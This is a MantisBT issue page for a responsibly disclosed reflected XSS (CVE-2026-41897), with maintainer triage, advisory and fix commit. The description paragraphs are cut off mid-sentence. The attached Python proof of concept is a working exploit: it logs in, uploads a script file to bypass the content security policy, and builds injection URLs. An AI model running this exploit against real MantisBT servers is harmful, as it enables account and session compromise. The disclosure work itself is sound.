View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0037013 | mantisbt | security | public | 2026-04-12 03:29 | 2026-05-09 19:56 |
| Reporter | siunam | Assigned To | dregad | ||
| Priority | high | Severity | major | Reproducibility | always |
| Status | closed | Resolution | fixed | ||
| Product Version | 2.28.1 | ||||
| Target Version | 2.28.2 | Fixed in Version | 2.28.2 | ||
| Summary | 0037013: CVE-2026-41897: Reflected XSS in Rendering Dynamic Custom Textarea Field | ||||
| Description | In
In the above
Therefore, if After retrieving the cached custom field, it'll be rendered as HTML code in function
Inside that function, it'll call function
Unfortunately, only custom field type
For instance, if the user provided custom field ID is
After achieving HTML injection, the attacker with access level | ||||
| Steps To Reproduce |
| ||||
| Additional Information | A Proof-of-Concept MP4 video is also attached. | ||||
| Tags | No tags attached. | ||||
| Attached Files | poc.py (5,361 bytes)
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlencode
class Poc:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
self.ISSUE_CATEGORY_GENERAL_ID = 1
self.ISSUE_PUBLIC_VIEW_STATE = 10
self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME = 'bug_report_token'
self.CREATE_NEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/bug_report_page.php'
self.CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/bug_report.php'
self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php'
self.RETURN_DYNAMIC_FILTERS_ENDPOINT = f'{self.baseUrl}/return_dynamic_filters.php'
self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me'
self.REST_GET_PROJECTS_ENDPOINT = f'{self.baseUrl}/api/rest/projects'
self.PADDING_CHARACTERS = 'A' * 7 # return_dynamic_filters.php:105 -> $t_custom_id = mb_substr( $f_filter_target, 13, -7 );
def login(self, account):
data = {
'username': account['username'],
'password': account['password']
}
response = account['session'].post(self.LOGIN_ENDPOINT, data=data)
response.raise_for_status()
def getCurrentUserInfo(self, account):
response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT)
response.raise_for_status()
return response.json()
def getCSRFToken(self, endpoint, account, csrfTokenName):
response = account['session'].get(endpoint)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': csrfTokenName})['value']
return csrf_token
def uploadJavaScriptFile(self, account, filename, payload):
files = { 'ufile[0]': (filename, payload, 'application/javascript') }
data = {
self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_ISSUE_PAGE_ENDPOINT, account, self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME),
'project_id': account['user_info']['projects'][0]['id'],
'category_id': self.ISSUE_CATEGORY_GENERAL_ID,
'summary': 'CSP Bypass PoC',
'description': 'CSP Bypass PoC',
'view_state': self.ISSUE_PUBLIC_VIEW_STATE
}
response = account['session'].post(self.CREATE_NEW_ISSUE_ENDPOINT, files=files, data=data)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
fileEndpoint = soup.find('a', attrs={'href': lambda x: x and 'file_download.php' in x})['href']
return fileEndpoint
def getProjects(self, account):
response = account['session'].get(self.REST_GET_PROJECTS_ENDPOINT)
response.raise_for_status()
return response.json()['projects']
def getProjectCustomTextareaFields(self, account):
exploitableCustomFields = []
projects = self.getProjects(account)
for project in projects:
if 'custom_fields' not in project:
continue
if len(project['custom_fields']) == 0:
continue
for customField in project['custom_fields']:
if customField['type'] != 'textarea':
continue
exploitableCustomFields.append(customField)
if len(exploitableCustomFields) == 0:
print(f'[-] No exploitable custom fields found in any project. Exiting...')
exit(0)
return exploitableCustomFields
def execute(self, accounts):
# 1. Log in as a user with at least Reporter access level to be able to upload files
self.login(accounts['reporter'])
accounts['reporter']['user_info'] = self.getCurrentUserInfo(accounts['reporter'])
print(f'[+] Logged in as {accounts["reporter"]["username"]}')
# 2. Find any exploitable custom textarea fields in all projects that can be used for the reflected XSS vulnerability.
exploitableCustomFields = self.getProjectCustomTextareaFields(accounts['reporter'])
print(f'[+] Found {len(exploitableCustomFields)} exploitable custom fields in all projects.')
javascriptPayload = '''
#!/usr/bin/env node
alert(origin);
'''.strip()
# 3. Upload the XSS JavaScript file using the reporter account for CSP `script-src: 'self'` bypass
XSSFileEndpoint = self.uploadJavaScriptFile(accounts['reporter'], 'xss.js', javascriptPayload)
print(f'[+] Uploaded JavaScript file as {accounts["reporter"]["username"]} | File Endpoint: {XSSFileEndpoint}')
for customField in exploitableCustomFields:
xssPayload = urlencode({ 'filter_target': f'custom_field_{customField["id"]}"><script src="/{XSSFileEndpoint}"></script>{self.PADDING_CHARACTERS}' })
print(f' - Custom textarea field name: {customField["name"]} (ID: {customField["id"]}) | Minimum access level: {customField["access_level_r"]["name"]}')
print(f' URL to trigger the reflected XSS vulnerability: {self.RETURN_DYNAMIC_FILTERS_ENDPOINT}?{xssPayload}')
if __name__ == '__main__':
baseUrl = 'http://localhost:8080'
accounts = {
'reporter': {
'username': 'reporter',
'password': 'password',
'session': requests.Session()
}
}
poc = Poc(baseUrl)
poc.execute(accounts) | ||||
|
It's getting late and I need some sleep. I'll have a look at this one later... |
|
|
Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-j7v9-f46r-2rp4 created, CVE request sent. Proposed patch: https://github.com/mantisbt/mantisbt-ghsa-j7v9-f46r-2rp4/pull/1 |
|
|
I tested the patch and confirmed the vulnerability can't be reproduced anymore. However, the default custom field type's For the CVSS score, I think it should be 7.5 (
|
|
|
Thanks for the review, I have made necessary adjustments. |
|
|
Thanks! Both changes LGTM! |
|
|
CVE-2026-41897 assigned |
|
|
MantisBT: master-2.28 c885af13 2026-04-19 10:35 Details Diff |
Fix XSS in return_dynamic_filters.php Prevent reflected XSS with TEXTAREA custom fields using a crafted filter_target parameter by validating user input and proper escaping. Fixes 0037013, GHSA-j7v9-f46r-2rp4 |
Affected Issues 0037013 |
|
| mod - core/date_api.php | Diff File | ||
| mod - core/filter_form_api.php | Diff File | ||
| mod - return_dynamic_filters.php | Diff File | ||